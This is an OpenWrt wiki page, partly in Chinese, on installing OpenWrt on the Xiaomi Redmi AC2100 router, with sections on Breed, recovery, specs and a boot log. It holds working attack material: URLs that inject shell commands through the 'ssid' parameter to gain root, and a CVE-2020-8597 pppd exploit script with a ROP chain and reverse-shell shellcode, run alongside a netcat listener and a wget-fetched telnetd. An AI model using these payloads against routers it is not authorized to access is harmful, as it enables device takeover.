This translation is older than the original page and might be outdated. See what has changed.

FIXME This page is not fully translated, yet. Please help completing the translation.
(remove this paragraph once the translation is finished)

小米Redmi路由器AC2100

Under Construction!
This page is currently under construction. You can edit the article to help completing it.

小米Redmi路由器AC2100是一款基于MT7621平台的无线路由器。和相同配置的其他路由器相比,红米AC2100的价格较低,故性价比较高。然而,由于原生固件的封闭性,红米AC2100安装OpenWrt的过程显得相对较为繁琐。

可以参考该论坛 https://forum.openwrt.org/t/new-xiaomi-router-ac2100

Xiaomi Redmi Router AC2100

安装需求

  1. 一台有RJ45接口的计算机
  2. 一根网线
  3. 原生固件版本为2.0.23的红米AC2100路由器
  4. OpenWrt固件镜像(也即openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.binopenwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin 镜像文件)
  5. SSH客户端软件

获得SSH权限

  1. 设置管理员admin密码(推荐从手机APP设置)
  2. 试用刚设置的密码登陆路由器的web管理界面,查看浏览器地址栏URL中的“stok=“的值:
    http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
  3. 想好一个SSH登录密码(8个字符以上,不允许特殊字符)

Now you need to use the following URL(s) in order to enable SSH access after modifying them with you values for:

  • Replace <STOK> with the stok value gaind above
  • Replace <PASSWORD> with the password generated above

Access these urls in a browser

  • nvram set ssh_en=1;nvram commit
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0Anvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%0A
  • sed -i 's/channel=.*/channel=“debug”/g' /etc/init.d/dropbear
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0Ased%20-i%20's/channel=.*/channel=%5C%22debug%5C%22/g'%20/etc/init.d/dropbear%0A
  • /etc/init.d/dropbear enable
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20enable%0A
  • /etc/init.d/dropbear start
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0A/etc/init.d/dropbear%20start%0A
  • echo -e ”<PASSWORD>/n<PASSWORD>” | passwd root
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27<PASSWORD>%5Cn<PASSWORD>%27%20%7C%20passwd%20root%0A
You can execute any shell code like this:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0A<your encoded shell code>%0A

Get SHELL access

On a terminal (if you are using another SSH client, read their manual to check how to connect)

ssh root@192.168.1.31

password will be <PASSWORD>

As soon you have shell access execute each:
  • Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
  • Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
  • Commit our nvram changes
nvram commit

Firmware installation:

  • Open a new terminal in the location where you downloaded the firmware files and execute in the computer (to copy the files to the router)
scp openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin root@192.168.1.31:/tmp
scp openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin root@192.168.1.31:/tmp
  • Close that terminal
  • In the terminal connected to the router through SSH, execute:
cd /tmp
  • Flash the kernel
mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1
  • Flash the rootfs and (will) reboot
mtd -r write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0

上述操作完成后,你可以重启路由器进入OpenWrt。注意通过官网编译固件安装的OpenWrt中不含有Luci组件,因而无法通过Web浏览器访问的。你可以参考安装Luci

Installation of OpenWrt on this device requires exploiting CVE-2020-8597 to achieve shell access.

Requirements

  1. A computer with an ethernet adapter
  2. Two ethernet cables
  3. python (python3 was used in this example), scapy, netcat, a statically compiled mipsel busybox binary (take “busybox-mipsel” version) and a HTTP server (or use the mini http module from python, see example below)
  4. The OpenWrt images for this device (Specifically the openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin and openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin images)
  5. The python scripts below
Exploit script

We will be referring to this as cve.py throughout the process.

Note that on line 17 where it says if src.startswith(“88:c3:97”) or src.startswith(“8c:53:c3”) replace one of those MAC addresses with the beginning of your MAC address that is written on the sticker that's attached to your router.

# Based on a PoC by "WinMin" (https://github.com/WinMin/CVE-2020-8597)
from scapy.all import *
from socket import *

interface = "eth0"

def mysend(pay,interface = interface):
    sendp(pay, iface = interface)

def packet_callback(packet):

    global sessionid, src, dst
    sessionid = int(packet['PPP over Ethernet'].sessionid)
    dst = (packet['Ethernet'].dst)
    src = (packet['Ethernet'].src)
    # In case we pick up Router -> PPPoE server packet
    if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :
        src,dst = dst,src
    print("sessionid:" + str(sessionid))
    print("src:" + src)
    print("dst:" + dst)

def eap_response_md5():

    md5 = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10"

    # Reverse shell, connect to 192.168.31.177:31337, written by Jacob Holcomb

    stg3_SC =  b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += b"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += b"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += b"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += b"\xf8\xff\xa5\xaf\x1f\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += b"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += b"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += b"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += b"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += b"\xab\x0f\x02\x24\x0c\x09\x09\x01"

    reboot_shell =  b"\x23\x01\x06\x3c"
    reboot_shell += b"\x67\x45\xc6\x34"
    reboot_shell += b"\x12\x28\x05\x3c"
    reboot_shell += b"\x69\x19\xa5\x24"
    reboot_shell += b"\xe1\xfe\x04\x3c"
    reboot_shell += b"\xad\xde\x84\x34"
    reboot_shell += b"\xf8\x0f\x02\x24"
    reboot_shell += b"\x0c\x01\x01\x01"

    s0 = b"\x40\x61\xF1\x77" # uclibc sleep() base + 0x6c140 = 77F16140
    s1 = b"\x01\x00\x00\x00"
    s2 = b"\x41\x41\x41\x41"
    s3 = b"\x00\x64\xFF\x7F" # 7ffd6000-7fff7000 rwxp 00000000 00:00 0          [stack]
    s4 = b"\x88\xe1\x40\x00" # pppd.txt:0x0040e188
    s5 = b"\x00\x00\x00\x00"

    ra = b"\x0C\x81\xF1\x77" # libuClibc.txt:0x0006e10c 77F1810C

    rop_chain =  (b'A' * 0x184)
    rop_chain += s0
    rop_chain += s1
    rop_chain += s2
    rop_chain += s3
    rop_chain += s4
    rop_chain += s5
    rop_chain += ra
    # Nop slide
    rop_chain += (b'\x00' * 0x100)
    # Small reboot shellcode for testing
    #rop_chain += reboot_shell
    rop_chain += stg3_SC
    # Just padding the end a little, since the last byte gets set to 0x00 and not everyone uses a 4 * 0x00 as nop
    rop_chain += (b'\x00' * 0x4)
    pay = Ether(dst=dst,src=src,type=0x8864)/PPPoE(code=0x00,sessionid=sessionid)/PPP(proto=0xc227)/EAP_MD5(id=100,value=md5,optional_name=rop_chain)
    mysend(pay)


if __name__ == '__main__':
    sniff(prn=packet_callback,iface=interface,filter="pppoes",count=1)

    eap_response_md5()
PPPoE simulator

From https://github.com/Percy233/PPPoE_Simulator-for-RM2100-exploit

We will refer to this as pppoe-simulator.py throughout this process.

from scapy.all import *
from scapy.layers.ppp import *

# In most cases you just have to change this:
interface = "eth0"


ac_name = "PPPoE-Simulator"
service_name = ""
magic_number = 0xDEADBEEF
host_uniq = session_id = ac_cookie = mac_router = mac_server = eth_discovery = eth_session = b'\0'
ident = 0

End_Of_List = 0x0000
Service_Name = 0x0101
AC_Name = 0x0102
Host_Uniq = 0x0103
AC_Cookie = 0x0104
Vendor_Specific = 0x0105
Relay_Session_Id = 0x0110
Service_Name_Error = 0x0201
AC_System_Error = 0x0202
Generic_Error = 0x0203

PADI = 0x09
PADO = 0x07
PADR = 0x19
PADS = 0x65
PADT = 0xa7

LCP = 0xc021
PAP = 0xc023
CHAP = 0xc223
IPCP = 0x8021
IPV6CP = 0x8057
PPPoE_Discovery = 0x8863
PPPoE_Session = 0x8864

Configure_Request = 1
Configure_Ack = 2
Authenticate_Ack = 2
Configure_Nak = 3
Configure_Reject = 4
Terminate_Request = 5
Terminate_Ack = 6
Code_Reject = 7
Protocol_Reject = 8
Echo_Request = 9
Echo_Reply = 10
Discard_Request = 11


def packet_callback(pkt):
    global host_uniq, session_id, ident, ac_cookie, mac_router, mac_server, eth_discovery, eth_session
    mac_router = pkt[Ether].src
    eth_discovery = Ether(src=mac_server, dst=mac_router, type=PPPoE_Discovery)
    eth_session = Ether(src=mac_server, dst=mac_router, type=PPPoE_Session)

    if pkt.haslayer(PPPoED):
        if pkt[PPPoED].code == PADI:
            session_id = pkt[PPPoED].fields['sessionid']
            ac_cookie = os.urandom(20)
            for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
                if tag.tag_type == Host_Uniq:
                    host_uniq = tag.tag_value
            print("Client->Server   |   Discovery Initiation")
            print("Server->Client   |   Discovery Offer")
            sendp(eth_discovery /
                  PPPoED(code=PADO, sessionid=0) /
                  PPPoETag(tag_type=Service_Name, tag_value=service_name) /
                  PPPoETag(tag_type=AC_Name, tag_value=ac_name) /
                  PPPoETag(tag_type=AC_Cookie, tag_value=ac_cookie) /
                  PPPoETag(tag_type=Host_Uniq, tag_value=host_uniq))
        elif pkt[PPPoED].code == PADR:
            print("Client->Server   |   Discovery Request")
            print("Server->Client   |   Discovery Session-confirmation")
            session_id = os.urandom(2)[0]
            sendp(eth_discovery /
                  PPPoED(code=PADS, sessionid=session_id) /
                  PPPoETag(tag_type=Service_Name, tag_value=service_name) /
                  PPPoETag(tag_type=Host_Uniq, tag_value=host_uniq))
            print("Server->Client   |   Configuration Request (PAP)")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=LCP) /
                  PPP_LCP(code=Configure_Request, id=ident + 1, data=(Raw(PPP_LCP_MRU_Option(max_recv_unit=1492)) /
                                                                      Raw(PPP_LCP_Auth_Protocol_Option(
                                                                       auth_protocol=PAP)) /
                                                                      Raw(PPP_LCP_Magic_Number_Option(
                                                                       magic_number=magic_number)))))

    elif pkt.haslayer(PPPoE) and pkt.haslayer(PPP):
        if pkt[PPPoE].sessionid != 0:
            session_id = pkt[PPPoE].sessionid
        if pkt.haslayer(PPP_LCP_Configure):
            ppp_lcp = pkt[PPP_LCP_Configure]
            if pkt[PPP_LCP_Configure].code == Configure_Request:
                ident = pkt[PPP_LCP_Configure].id
                print("Client->Server   |   Configuration Request (MRU)")
                print("Server->Client   |   Configuration Ack (MRU)")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP(code=Configure_Ack, id=ident, data=(Raw(PPP_LCP_MRU_Option(max_recv_unit=1480)) /
                                                                  Raw(ppp_lcp[PPP_LCP_Magic_Number_Option]))))
            elif pkt[PPP_LCP_Configure].code == Configure_Ack:
                print("Client->Server   |   Configuration Ack")
                print("Server->Client   |   Echo Request")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP_Echo(code=Echo_Request, id=ident + 1, magic_number=magic_number))
        elif pkt.haslayer(PPP_LCP_Echo):
            if pkt[PPP_LCP_Echo].code == Echo_Request:
                ident = pkt[PPP_LCP_Echo].id
                print("Client->Server   |   Echo Request")
                print("Server->Client   |   Echo Reply")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP_Echo(code=Echo_Reply, id=ident, magic_number=magic_number))
        elif pkt.haslayer(PPP_PAP_Request):
            ident = pkt[PPP_PAP_Request].id
            print("Client->Server   |   Authentication Request")
            print("Server->Client   |   Authenticate Ack")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=PAP) /
                  PPP_PAP_Response(code=Authenticate_Ack, id=ident, message="Login ok"))
            print("Server->Client   |   Configuration Request (IP)")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=IPCP) /
                  PPP_IPCP(code=Configure_Request, id=ident + 1, options=PPP_IPCP_Option_IPAddress(data="10.15.0.8")))
        elif pkt.haslayer(PPP_IPCP):
            ident = pkt[PPP_IPCP].id
            if pkt[PPP_IPCP].options[0].data == "0.0.0.0":
                options = [PPP_IPCP_Option_IPAddress(data="10.16.0.9"),
                           PPP_IPCP_Option_DNS1(data="114.114.114.114"),
                           PPP_IPCP_Option_DNS2(data="114.114.114.114")]
                print("Client->Server   |   Configuration Request (invalid)")
                print("Server->Client   |   Configuration Nak")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=IPCP) /
                      PPP_IPCP(code=Configure_Nak, id=ident, options=options))
            else:
                print("Client->Server   |   Configuration Request (valid)")
                print("Server->Client   |   Configuration Ack")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=IPCP) /
                      PPP_IPCP(code=Configure_Ack, id=ident, options=pkt[PPP_IPCP].options))
        if pkt[PPP].proto == IPV6CP:
            print("Client->Server   |   Configuration Request IPV6CP")
            print("Server->Client   |   Protocol Reject IPV6CP")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=LCP) /
                  PPP_LCP_Protocol_Reject(code=Protocol_Reject, id=ident + 1, rejected_protocol=IPV6CP,
                                          rejected_information=pkt[PPP].payload))


def terminateConnection():
    print("Server->Client   |   Terminate Connection")
    sendp(eth_session /
          PPPoE(sessionid=session_id) /
          PPP(proto=LCP) /
          PPP_LCP_Terminate())


def isNotOutgoing(pkt):
    if pkt.haslayer(Ether):
        return pkt[Ether].src != mac_server
    return False


if __name__ == '__main__':
    conf.verb = 0  # Suppress Scapy output
    conf.iface = interface  # Set default interface
    mac_server = get_if_hwaddr(interface)
    print("Waiting for packets")
    sniff(prn=packet_callback, filter="pppoed or pppoes", lfilter=isNotOutgoing)

Instructions

Some of these commands may require to be run as root.

Initial setup
  1. Setup your ethernet interface with the ip address: 192.168.31.177
  2. If on windows OR your interface is not eth0: adjust the scripts to use correct interface instead of eth0
  3. Bridge the WAN port on the router with one of the LAN ports on the router by connecting an ethernet cable between them.
  4. Connect your computer to the router with your other ethernet cable.
# Start our PPPoE emulator
python3 pppoe-simulator.py

Now we can run our router through the initial setup wizard on http://192.168.31.1, during which PPPoE should be auto-detected and chosen. Any combination of credentials are acceptable. If you are not sure which chinese symbols to click, there is a really helpful guide with pictures available here: https://github.com/impulse/ac2100-openwrt-guide. In case you make a mistake with the chinese configuration, get stuck before you finish the exploit and need to reset to factory defaults, hold the reset button for 10 seconds and wait for reboot.

# A quick http server for the current directory (ie. Where you have placed your OpenWrt images), or use your own small http server
python -m http.server 80
# And in another window...
netcat -nvlp 31337
Running the exploit
# In another window to trigger the exploit
python3 cve.py

In your terminal with netcat open you should see an incoming connection from the router, and we can begin typing in commands to be run on the router.

If you don't see a connection, your router may have a different MAC address. Please adjust cve.py accordingly.

# cve.py#L17
if src.startswith("your:router:mac")

It is recommended to quickly wget the busybox binary over and start telnetd as the reverse shell is somewhat unstable and disconnect randomly. In most cases you will only have a few seconds, so be ready to paste the whole block in one go.

cd /tmp
wget http://192.168.31.177/busybox
chmod a+x ./busybox
./busybox telnetd -l /bin/sh

If you are disconnected prematurely, just start the netcat listener and exploit script again.

After you the code above has been executed, you will have secured telnet access to the device, and can now wget the OpenWrt images onto the device and flash them.

Writing the OpenWrt images

After connecting via telnet to 192.168.31.1 :

wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin
# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
# Commit our nvram changes
nvram commit
# Flash the kernel
mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1
# Flash the rootfs and reboot
mtd -r write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0

If all has gone well, you should be rebooting into OpenWrt.

Before you do this you have to connect the computer to Lan1 and have the address assigned by DCHP. You also have to connect the route (internet slot) to an existing router. ssh connect 192.168.1.1 login as: root

root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg install luci

This device accepts stock signed firmware images from Xiaomi, when booted to PXE (Preboot Execution Environment). PXE can be triggered by holding down the reset button on the device while powering on, until the status light flashes amber.

To recover with stock recovery: Suitable file with firmware should be downloaded from Miwifi website. File should be renamed to “miwifi.bin” (without quotes).

DHCP server and TFTP server should be configured on the PC/MAC.

Below is an example dnsmasq configuration that will serve /tmp/miwifi.bin

port=0
interface=eth0
bind-interfaces
dhcp-range=192.168.31.50,192.168.31.150,12h
dhcp-boot=miwifi.bin
enable-tftp
tftp-root=/tmp

Here is another guide for setting TFTP server on Ubuntu.

When DHCP and TFTP servers are ready and running, boot to PXE and send the miwifi.bin file to the router.

After the device flashes the image from TFTP, it will flash the status light white and you can then power-cycle the device.

BREED是什么

BREED 是一个第三方的路由器bootloader (PXE),有点类似于安卓手机的第三方recovery。Breed可以允许路由器安装和备份不同的固件,并更改一些启动设置选项。Breed web恢复控制台的语言为中文。

为什么安装BREED

BREED 大幅提高了路由器刷第三方固件时的安全性。安装了Breed后,路由器由于刷了不合适的固件而变砖的情况很容易得到恢复。

BREED安装

所需的Breed文件是适用于小米路由器3G的,它也可以用于小米路由器AC2100和小米Redmi路由器AC2100。

使用SSH或者Telnet连接到路由器:

  • 如果希望在前文所述的OpenWrt安装过程中安装Breed:将 breed-mt7621-xiaomi-r3g.bin 文件下载并复制到OpenWrt固件的存放位置;
  • 如果已经安装了OpenWrt或者DD-WRT并且路由器可以访问互联网,则只需要使用客户端连接到路由器并使用在线安装方式。

在线安装可键入如下命令:

cd /tmp
wget --no-check-certificate https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin
mtd write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

在OpenWrt安装过程中离线安装,可复制 “breed-mt7621-xiaomi-r3g.bin” 文件到OpenWrt固件存放目录下。在“写入OpenWrt固件”操作前或者操作后,键入如下命令:

cd /tmp
wget http://192.168.31.177/breed-mt7621-xiaomi-r3g.bin
mtd write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

为了确保安全,可以在执行mtd写入前验证文件的MD5:

md5sum /tmp/breed-mt7621-xiaomi-r3g.bin

如果 “--no-check-certificate” 选项不起作用,将其移除即可。

如果安装了DD-WRT,使用:

mtd_write write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

或者

mtd_write2 write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

而不是 “mtd write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader”

非原生固件下安装Breed

如果在使用OpenWrt或其他第三方ROM:

在安装完Breed之后你需要启动到breed并配置其为启动kernel1分区。 否则路由器会无限循环启动,但你仍可以进入Breed。 进入Breed的方法: 拔下路由器电源,在按住RESET按钮的同时插上电源,直到状态指示灯橙黄色闪烁后放开RESET按钮。 使用SSH或者web浏览器访问192.168.1.1,执行下列命令(可以在Breed web恢复控制台中执行):

env set autoboot.command "boot flash 0x600000"
env save

刷回原厂固件

当刷回原厂固件时,路由器的启动地址需要变更。

env set autoboot.command "boot flash 0x200000"
env save

也可以在Breed web恢复控制台中设置。

使用Breed

启动到Breed: 拔下路由器电源,在按住RESET按钮的同时插上电源,直到状态指示灯橙黄色闪烁后放开RESET按钮。 通过浏览器访问192.168.1.1,也可以使用SSH连接22端口。

If you have enabled UART (ie. You have set uart_en=1 and bootdelay=5), stock u-boot can be interrupted and images tftp booted.

Please choose the operation: 

   1: Load system code to SDRAM via TFTP. 

   2: Load system code then write to Flash via TFTP. 

   3: Boot system code via Flash (default).

   4: Entr boot command line interface.

   7: Load Boot Loader code then write to Flash via Serial. 

   9: Load Boot Loader code then write to Flash via TFTP. 
Architecture MIPS
Vendor MediaTek
Bootloader U-Boot
System-On-Chip MediaTek MT7621
CPU/Speed mipsel_24kc @ 880MHz 2 core
Flash-Chip ESMT F59L1G81MB
Flash size 128 MiB
RAM 128 MiB
Wireless MT7603 2.4GHz 802.11bgn + MT7615 5.0GHz 802.11ac
Ethernet 4x 10/100/1000 Mbit/s
Switch MediaTek MT7530
USB None
Serial Yes
JTAG Not populated

Stock

0x000000000000-0x000007f80000 : "ALL"
0x000000000000-0x000000080000 : "Bootloader"
0x000000080000-0x0000000c0000 : "Config"
0x0000000c0000-0x000000100000 : "Bdata"
0x000000100000-0x000000140000 : "Factory"
0x000000140000-0x000000180000 : "crash"
0x000000180000-0x0000001c0000 : "crash_syslog"
0x0000001c0000-0x000000200000 : "cfg_bak"
0x000000200000-0x000000600000 : "kernel0"
0x000000600000-0x000000a00000 : "kernel1"
0x000000a00000-0x000002400000 : "rootfs0"
0x000002400000-0x000003e00000 : "rootfs1"
0x000003e00000-0x000006400000 : "overlay"
0x000006400000-0x000007f80000 : "obr"

OpenWrt

0x000000000000-0x000000080000 : "Bootloader"
0x000000080000-0x0000000c0000 : "Config"
0x0000000c0000-0x000000100000 : "Bdata"
0x000000100000-0x000000140000 : "factory"
0x000000140000-0x000000180000 : "crash"
0x000000180000-0x0000001c0000 : "crash_syslog"
0x0000001c0000-0x000000200000 : "reserved0"
0x000000200000-0x000000600000 : "kernel_stock"
0x000000600000-0x000000a00000 : "kernel"
0x000000a00000-0x000007f80000 : "ubi"

Insert photo of front of the casing

Insert photo of back of the casing

Insert photo of backside label

Insert photo of PCB

FIXME Describe what needs to be done to open the device, e.g. remove rubber feet, adhesive labels, screws, ...

port.serial general information about the serial port, serial port cable, etc.

How to connect to the Serial Port of this specific device:

Serial connection parameters
for Xiaomi Redmi Router AC2100
115200, 8N1

port.jtag general information about the JTAG port, JTAG cable, etc.

How to connect to the JTAG Port of this specific device:
Insert photo of PCB with markings for JTAG port

=================================================================== MT7621 stage1 code Nov 5 2019 00:23:11 (ASIC) CPU=50000000 HZ BUS=16666666 HZ ================================================================== RALINK_GPIOMODE = ad428 GPIO0~31 DIR = 40 GPIO0~31 DATA = fff41517 Set gpio_4,3 direction to input Set gpio_10,6 direction to output GPIO0~31 DIR = 440 GPIO0~31 DATA = fff41517 Set gpio_6 output value to 0 Set gpio_10 output value to 1 GPIO0~31 DATA = fff41517 Change MPLL source from XTAL to CR... do MEMPLL setting.. MEMPLL Config : 0x11100000 3PLL mode + External loopback === XTAL-40Mhz ===dram_speed=:1200 === DDR-1200Mhz === PLL4 FB_DL: 0xc, 1/0 = 556/468 31000000 PLL2 FB_DL: 0x11, 1/0 = 639/385 45000000 PLL3 FB_DL: 0x1e, 1/0 = 554/470 79000000 do DDR setting..[00320381] Apply DDR3 Setting...(use customer AC) 0 8 16 24 32 40 48 56 64 72 80 88 96 104 112 120 -------------------------------------------------------------------------------- 0000:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0001:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0002:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0003:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0004:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0005:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0006:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0007:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0008:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0009:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000A:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000B:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000C:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000D:| 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 000E:| 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 000F:| 0 0 0 1 1 1 1 1 1 1 1 1 1 0 0 0 0010:| 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0011:| 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0012:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0013:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0014:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0015:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0016:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0017:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0018:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0019:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001A:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001B:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001C:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001D:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001E:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001F:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 DRAMC_DQSCTL1[0e0]=13000000 DRAMC_DQSGCTL[124]=80000033 rank 0 coarse = 15 rank 0 fine = 64 B:| 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 opt_dle value:10 DRAMC_DDR2CTL[07c]=C287222D DRAMC_PADCTL4[0e4]=000022B3 DRAMC_DQIDLY1[210]=0C0A0907 DRAMC_DQIDLY2[214]=06080907 DRAMC_DQIDLY3[218]=0B080707 DRAMC_DQIDLY4[21c]=0A080A09 DRAMC_R0DELDLY[018]=00001D1E ================================================================== RX DQS perbit delay software calibration ================================================================== 1.0-15 bit dq delay value ================================================================== bit| 0 1 2 3 4 5 6 7 8 9 -------------------------------------- 0 | 7 8 9 11 6 9 7 6 7 6 10 | 8 9 9 9 8 8 -------------------------------------- ================================================================== 2.dqs window x=pass dqs delay value (min~max)center y=0-7bit DQ of every group input delay:DQS0 =30 DQS1 = 29 ================================================================== bit DQS0 bit DQS1 0 (1~59)30 8 (2~56)29 1 (1~58)29 9 (1~56)28 2 (1~58)29 10 (1~57)29 3 (1~58)29 11 (1~54)27 4 (1~58)29 12 (2~57)29 5 (1~60)30 13 (1~55)28 6 (1~58)29 14 (1~58)29 7 (1~60)30 15 (1~53)27 ================================================================== 3.dq delay value last ================================================================== bit| 0 1 2 3 4 5 6 7 8 9 -------------------------------------- 0 | 7 9 10 12 7 9 8 6 7 7 10 | 8 11 9 10 8 10 ================================================================== ================================================================== TX perbyte calibration ================================================================== DQS loop = 15, cmp_err_1 = ffff2000 dqs_perbyte_dly.last_dqsdly_pass[0]=15, finish count=1 DQS loop = 14, cmp_err_1 = ffff0000 dqs_perbyte_dly.last_dqsdly_pass[1]=14, finish count=2 DQ loop=15, cmp_err_1 = ffff0000 dqs_perbyte_dly.last_dqdly_pass[0]=15, finish count=1 dqs_perbyte_dly.last_dqdly_pass[1]=15, finish count=2 byte:0, (DQS,DQ)=(8,8) byte:1, (DQS,DQ)=(8,8) DRAMC_DQODLY1[200]=88888888 DRAMC_DQODLY2[204]=88888888 20,data:88 [EMI] DRAMC calibration passed =================================================================== MT7621 stage1 code done CPU=50000000 HZ BUS=16666666 HZ =================================================================== U-Boot 1.1.3 (Nov 25 2019 - 01:45:38) Board: Ralink APSoC DRAM: 128 MB Power on memory test. Memory size= 128 MB...OK! relocate_code Pointer at: 87fa4000 Config XHCI 40M PLL Allocate 16 byte aligned buffer: 87fe0130 Enable NFI Clock # MTK NAND # : Use HW ECC NAND ID [C8 D1 80 95 40] Device found in MTK table, ID: c8d1, EXT_ID: 809540 Support this Device in MTK table! c8d1 select_chip [NAND]select ecc 